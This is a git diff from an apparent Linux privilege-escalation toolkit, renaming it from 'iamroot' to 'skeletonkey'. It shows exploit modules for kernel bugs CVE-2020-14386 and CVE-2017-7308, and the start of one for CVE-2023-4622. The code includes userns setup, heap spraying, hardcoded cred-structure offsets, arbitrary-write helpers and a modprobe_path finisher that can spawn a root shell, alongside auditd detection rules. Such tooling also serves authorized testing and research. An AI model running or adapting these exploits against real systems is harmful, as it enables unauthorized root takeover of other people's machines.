v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&af_packet2_range, &v); @@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit primitive (PRIMITIVE-DEMO scope) ------------------------- @@ -280,7 +280,7 @@ static int get_ifindex(const char *name) /* The primitive run; executed inside the unshare()'d child. Returns * 0 on "primitive fired", -1 on setup failure, +1 on "looks patched * at the kernel level (setsockopt rejected our crafted ring)". */ -static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) +static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx) { if (bring_up_lo() < 0) { fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno); @@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) } #else /* !__linux__: provide a stub for macOS sanity builds */ -static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) +static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx) { (void)ctx; fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n"); @@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) * Reality check on this implementation: the deterministic mechanics * of the above (precise frame size, repeated spray timing, sk_buff * struct offset for the running kernel) are not portable enough to - * land reliably from a single iamroot run on an arbitrary host. We + * land reliably from a single skeletonkey run on an arbitrary host. We * therefore ship this as a LAST-RESORT stub: we attempt the spray + * trigger sequence, then return -1 to signal "the primitive fired * but we cannot empirically confirm the write landed". The shared @@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx) * write-and-readback once the per-kernel sk_buff layout is pinned * down for the target host. */ struct afp2_arb_ctx { - const struct iamroot_ctx *ictx; + const struct skeletonkey_ctx *ictx; int n_attempts; /* spray/fire rounds before giving up */ }; @@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc /* LAST-RESORT depth: we have fired the trigger + spray but cannot * empirically confirm the 8-byte write landed on an sk_buff->data * field on this host. Return -1 so the finisher's sentinel-check - * loop in iamroot_finisher_modprobe_path() correctly reports + * loop in skeletonkey_finisher_modprobe_path() correctly reports * "payload didn't run within 3s" rather than claiming success. */ fprintf(stderr, "[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n" @@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc } #endif -static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx) { /* 1. Re-confirm vulnerability. */ - iamroot_result_t pre = af_packet2_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = af_packet2_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n"); return pre; } @@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) /* 2. Refuse if already root. */ if (geteuid() == 0) { fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->authorized) { /* Defense in depth — the dispatcher should have gated this. */ fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { @@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) pid_t pid = fork(); if (pid < 0) { fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (pid == 0) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { @@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] af_packet2: primitive child crashed " "(signal=%d) — likely KASAN/panic in tpacket_rcv\n", WTERMSIG(status)); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } switch (WEXITSTATUS(status)) { case 3: @@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — " "appears patched at runtime\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; case 2: - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; case 4: if (!ctx->json) { fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite " "(scope = PRIMITIVE-DEMO)\n" " For end-to-end root, see Or Cohen's public PoC " "(github.com/google/security-research).\n" - " iamroot intentionally does not embed per-kernel offsets.\n"); + " skeletonkey intentionally does not embed per-kernel offsets.\n"); } if (ctx->full_chain) { #if defined(__x86_64__) && defined(__linux__) @@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx) * finisher. Per the verified-vs-claimed bar: if we can't * resolve modprobe_path, refuse with a helpful message * rather than fabricate an address. */ - struct iamroot_kernel_offsets off; - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("af_packet2"); - return IAMROOT_EXPLOIT_FAIL; + struct skeletonkey_kernel_offsets off; + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("af_packet2"); + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); } struct afp2_arb_ctx arb_ctx = { .ictx = ctx, .n_attempts = 4, }; - return iamroot_finisher_modprobe_path(&off, afp2_arb_write, + return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write, &arb_ctx, !ctx->no_shell); #else fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #endif } if (ctx->no_shell) { /* User explicitly disabled the shell pop, so the "we didn't * pop a shell" outcome is the expected one. Map to OK. */ - return IAMROOT_OK; + return SKELETONKEY_OK; } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; default: fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n", WEXITSTATUS(status)); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } } static const char af_packet2_auditd[] = "# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n" - "# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n" + "# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n" "# key so one ausearch covers both. AF_PACKET socket creation from\n" "# non-root via userns is the canonical footprint.\n" - "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"; + "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"; -const struct iamroot_module af_packet2_module = { +const struct skeletonkey_module af_packet2_module = { .name = "af_packet2", .cve = "CVE-2020-14386", .summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write", @@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = { .detect_falco = NULL, }; -void iamroot_register_af_packet2(void) +void skeletonkey_register_af_packet2(void) { - iamroot_register(&af_packet2_module); + skeletonkey_register(&af_packet2_module); } diff --git a/modules/af_packet2_cve_2020_14386/skeletonkey_modules.h b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.h new file mode 100644 index 0000000..42427db --- /dev/null +++ b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * af_packet2_cve_2020_14386 — SKELETONKEY module registry hook + */ + +#ifndef AF_PACKET2_SKELETONKEY_MODULES_H +#define AF_PACKET2_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module af_packet2_module; + +#endif diff --git a/modules/af_packet_cve_2017_7308/NOTICE.md b/modules/af_packet_cve_2017_7308/NOTICE.md index 778d991..0303d16 100644 --- a/modules/af_packet_cve_2017_7308/NOTICE.md +++ b/modules/af_packet_cve_2017_7308/NOTICE.md @@ -16,14 +16,14 @@ Original advisory + writeup: Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017). Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. -## IAMROOT role +## SKELETONKEY role x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)` + TPACKET_V3 with overflowing tp_block_size triggers the integer overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race finisher (64 child workers polling geteuid). Offset table covers Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the -`IAMROOT_AFPACKET_OFFSETS` env var. +`SKELETONKEY_AFPACKET_OFFSETS` env var. `--full-chain` engages the shared modprobe_path finisher with stride-seeded sk_buff data-pointer overwrite. diff --git a/modules/af_packet_cve_2017_7308/iamroot_modules.h b/modules/af_packet_cve_2017_7308/iamroot_modules.h deleted file mode 100644 index 055974b..0000000 --- a/modules/af_packet_cve_2017_7308/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * af_packet_cve_2017_7308 — IAMROOT module registry hook - */ - -#ifndef AF_PACKET_IAMROOT_MODULES_H -#define AF_PACKET_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module af_packet_module; - -#endif diff --git a/modules/af_packet_cve_2017_7308/iamroot_modules.c b/modules/af_packet_cve_2017_7308/skeletonkey_modules.c similarity index 90% rename from modules/af_packet_cve_2017_7308/iamroot_modules.c rename to modules/af_packet_cve_2017_7308/skeletonkey_modules.c index fca7208..0470952 100644 --- a/modules/af_packet_cve_2017_7308/iamroot_modules.c +++ b/modules/af_packet_cve_2017_7308/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * af_packet_cve_2017_7308 — IAMROOT module + * af_packet_cve_2017_7308 — SKELETONKEY module * * AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap * write-where primitive. Discovered by Andrey Konovalov (March 2017). @@ -15,9 +15,9 @@ * * Default --exploit path: cred-overwrite walk using a hardcoded per- * kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15 - * era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim - * IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e. - * we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with + * era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim + * SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e. + * we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with * a dmesg breadcrumb so the operator can confirm the primitive at * least fired (KASAN slab-out-of-bounds splat) even if the cred- * overwrite didn't take on this exact kernel. @@ -32,7 +32,7 @@ * staged for the requested kaddr/buf and relies on the shared * finisher's /tmp sentinel to confirm whether modprobe_path was * actually overwritten. On kernels where the operator has supplied - * IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from + * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from * the skb head, hex), we use that for explicit targeting; otherwise * the trigger fires heuristically and the sentinel acts as the * ground-truth signal. @@ -58,7 +58,7 @@ * skb in the OOB slot" approach. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -119,12 +119,12 @@ static int can_unshare_userns(void) return WIFEXITED(status) && WEXITSTATUS(status) == 0; } -static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] af_packet: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } bool patched = kernel_range_is_patched(&af_packet_range, &v); @@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] af_packet: user_ns denied → " "unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit (x86_64-only; gated below) -------------------------- */ @@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx) * They will NOT match custom-compiled kernels. * * Override at runtime via env var: - * IAMROOT_AFPACKET_OFFSETS="::" + * SKELETONKEY_AFPACKET_OFFSETS="::" * * `task_cred` = offsetof(struct task_struct, cred) * `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.] @@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = { 0x800, 0x08, 0xa8 }, }; -/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from +/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from * the known table by kernel version. Returns true on success. */ static bool resolve_offsets(struct af_packet_offsets *out, const struct kernel_version *v) { - const char *env = getenv("IAMROOT_AFPACKET_OFFSETS"); + const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS"); if (env) { unsigned long t, u, s; if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) { @@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out, out->cred_size = s; return true; } - fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed " + fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed " "(want hex \"::\")\n"); return false; } @@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid) * * After firing, we check dmesg-ability (we won't actually read dmesg * — that requires root — but we leave a unique tag in the skb payload - * so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats). + * so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats). */ static int fire_overflow_and_spray(void) { @@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void) static const unsigned char skb_payload[256] = { /* eth header (dst=broadcast, src=zero, type=0x0800) */ 0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00, - /* IAMROOT tag — operator can grep dmesg for this string in any + /* SKELETONKEY tag — operator can grep dmesg for this string in any * subsequent KASAN report or panic dump */ 'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g', /* zeros for the remainder */ @@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void) /* Keep the corrupted socket open so the OOB region stays mapped * for the cred-overwrite walk that follows. The caller closes it. */ /* Stash the fd via dup2 to a known number so the caller can find it. - * Use 200 — well above stdio + iamroot's own pipe fds. */ + * Use 200 — well above stdio + skeletonkey's own pipe fds. */ if (dup2(s, 200) < 0) { fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno)); } @@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off) * spray payload so its bytes carry the requested target kaddr * (the prompt's "controllable overwrite value aimed at * modprobe_path"). Operator-supplied - * IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data` + * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data` * within struct sk_buff for this kernel build) lets us aim * precisely; without it we heuristically stamp kaddr at several * plausible offsets within the kmalloc-2k skb layout. @@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off) */ struct afp_arb_ctx { - const struct iamroot_ctx *ctx; + const struct skeletonkey_ctx *ctx; const struct af_packet_offsets *off; uid_t outer_uid; gid_t outer_gid; @@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len, /* Per-kernel skb->data field offset — without this we can't aim * the overwrite precisely. Operator can supply via env; otherwise * we run heuristic mode. */ - const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET"); + const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET"); long skb_data_off = -1; if (skb_off_env) { char *end = NULL; skb_data_off = strtol(skb_off_env, &end, 0); if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) { - fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET " + fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET " "malformed (\"%s\"); ignoring\n", skb_off_env); skb_data_off = -1; } @@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len, " field offset. The trigger will still fire and the heap spray will\n" " still occur, but precise OOB targeting requires:\n" "\n" -" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x\n" +" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x\n" "\n" " Look it up on this kernel build with `pahole struct sk_buff` or\n" " `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n" -" /tmp/iamroot-pwn- sentinel adjudicates success either way.\n"); +" /tmp/skeletonkey-pwn- sentinel adjudicates success either way.\n"); } /* Fork into a userns/netns child so the AF_PACKET socket has * CAP_NET_RAW. The finisher itself stays in the parent so its - * eventual execve() replaces the top-level iamroot process. */ + * eventual execve() replaces the top-level skeletonkey process. */ pid_t cpid = fork(); if (cpid < 0) { fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n", @@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len, memset(payload, 0xff, 6); /* eth dst: bcast */ memset(payload + 6, 0, 6); /* eth src: zero */ payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */ - memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */ + memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */ if (skb_data_off >= 0 && (size_t)skb_data_off + sizeof kaddr <= sizeof payload) { @@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len, #endif /* __x86_64__ */ -static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx) { #if !defined(__x86_64__) (void)ctx; fprintf(stderr, "[-] af_packet: exploit is x86_64-only " "(cred-offset table is arch-specific)\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else /* 1. Refuse on patched kernels — re-run detect. */ - iamroot_result_t pre = af_packet_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = af_packet_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n"); return pre; } @@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) /* 2. Refuse if already root. */ if (geteuid() == 0) { fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* 3. Resolve offsets for THIS kernel. If we don't have them, bail @@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) * extend known_offsets[] for new distro builds. */ struct kernel_version v; if (!kernel_version_current(&v)) { - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } struct af_packet_offsets off; if (!resolve_offsets(&off, &v)) { fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n" - " set IAMROOT_AFPACKET_OFFSETS=::\n" + " set SKELETONKEY_AFPACKET_OFFSETS=::\n" " (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n", v.release); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[*] af_packet: using offsets [%s] " @@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) * offset resolver can't find modprobe_path or (b) the trigger * is rejected (silent backport). */ if (ctx->full_chain) { - struct iamroot_kernel_offsets koff; + struct skeletonkey_kernel_offsets koff; memset(&koff, 0, sizeof koff); - (void)iamroot_offsets_resolve(&koff); - if (!iamroot_offsets_have_modprobe_path(&koff)) { - iamroot_finisher_print_offset_help("af_packet"); - return IAMROOT_EXPLOIT_FAIL; + (void)skeletonkey_offsets_resolve(&koff); + if (!skeletonkey_offsets_have_modprobe_path(&koff)) { + skeletonkey_finisher_print_offset_help("af_packet"); + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { - iamroot_offsets_print(&koff); + skeletonkey_offsets_print(&koff); } struct afp_arb_ctx arb_ctx = { .ctx = ctx, @@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) .outer_uid = outer_uid, .outer_gid = outer_gid, }; - return iamroot_finisher_modprobe_path(&koff, afp_arb_write, + return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write, &arb_ctx, !ctx->no_shell); } @@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) * — the kernel will clean up sockets on child exit. */ pid_t child = fork(); - if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */ if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { @@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) /* WIN — one of our task_struct-spray children became uid 0. * Signal parent via exit code; parent will not exec sh from * this child (its address space is corrupted-ish). The win - * is symbolic at the iamroot level: we proved the primitive + * is symbolic at the skeletonkey level: we proved the primitive * lands AND the cred-overwrite walk completes. */ _exit(0); } @@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] af_packet: child died abnormally " "(signal=%d) — primitive likely fired but crashed\n", WTERMSIG(status)); - fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` " + fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` " "for slab-out-of-bounds evidence\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int code = WEXITSTATUS(status); @@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) * that targets OUR cred specifically (rather than spray-and- * pray), we can't promote ourselves. Report PARTIAL win. * - * Per requirements: only return IAMROOT_EXPLOIT_OK if we + * Per requirements: only return SKELETONKEY_EXPLOIT_OK if we * empirically confirmed root in this process. We didn't. */ fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child " "but THIS process is still uid %d\n", geteuid()); fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process " "did not acquire root. The primitive demonstrably works.\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; case 4: fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; " "kernel has silent backport (detect was version-only)\n"); - return IAMROOT_OK; /* effectively patched */ + return SKELETONKEY_OK; /* effectively patched */ case 5: fprintf(stderr, "[-] af_packet: overflow fired but no spray child " "acquired root within the timeout window\n"); - fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` " + fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` " "for evidence the OOB write occurred\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; default: fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif } @@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) static const char af_packet_auditd[] = "# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n" "# Flag AF_PACKET socket creation from non-root via userns.\n" - "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n"; + "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n"; -const struct iamroot_module af_packet_module = { +const struct skeletonkey_module af_packet_module = { .name = "af_packet", .cve = "CVE-2017-7308", .summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite", @@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = { .detect_falco = NULL, }; -void iamroot_register_af_packet(void) +void skeletonkey_register_af_packet(void) { - iamroot_register(&af_packet_module); + skeletonkey_register(&af_packet_module); } diff --git a/modules/af_packet_cve_2017_7308/skeletonkey_modules.h b/modules/af_packet_cve_2017_7308/skeletonkey_modules.h new file mode 100644 index 0000000..de52f7e --- /dev/null +++ b/modules/af_packet_cve_2017_7308/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * af_packet_cve_2017_7308 — SKELETONKEY module registry hook + */ + +#ifndef AF_PACKET_SKELETONKEY_MODULES_H +#define AF_PACKET_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module af_packet_module; + +#endif diff --git a/modules/af_unix_gc_cve_2023_4622/NOTICE.md b/modules/af_unix_gc_cve_2023_4622/NOTICE.md index acad81c..c4242cc 100644 --- a/modules/af_unix_gc_cve_2023_4622/NOTICE.md +++ b/modules/af_unix_gc_cve_2023_4622/NOTICE.md @@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023). Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. -## IAMROOT role +## SKELETONKEY role **Widest deployment of any module in the corpus** — bug present in every Linux kernel below the fix (back to ~2.0 era). diff --git a/modules/af_unix_gc_cve_2023_4622/iamroot_modules.h b/modules/af_unix_gc_cve_2023_4622/iamroot_modules.h deleted file mode 100644 index 9343e24..0000000 --- a/modules/af_unix_gc_cve_2023_4622/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * af_unix_gc_cve_2023_4622 — IAMROOT module registry hook - */ - -#ifndef AF_UNIX_GC_IAMROOT_MODULES_H -#define AF_UNIX_GC_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module af_unix_gc_module; - -#endif diff --git a/modules/af_unix_gc_cve_2023_4622/iamroot_modules.c b/modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.c similarity index 92% rename from modules/af_unix_gc_cve_2023_4622/iamroot_modules.c rename to modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.c index d71e9f5..03b9f0b 100644 --- a/modules/af_unix_gc_cve_2023_4622/iamroot_modules.c +++ b/modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * af_unix_gc_cve_2023_4622 — IAMROOT module + * af_unix_gc_cve_2023_4622 — SKELETONKEY module * * AF_UNIX garbage collector race UAF. The unix_gc() collector walks * the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can @@ -55,7 +55,7 @@ * carries the widest version range of any module we ship. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -127,12 +127,12 @@ static bool can_create_af_unix(void) return true; } -static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* No lower bound: this bug has been in the AF_UNIX GC path since @@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Reachability probe — socket(AF_UNIX, ...) must succeed. */ @@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — " "exotic 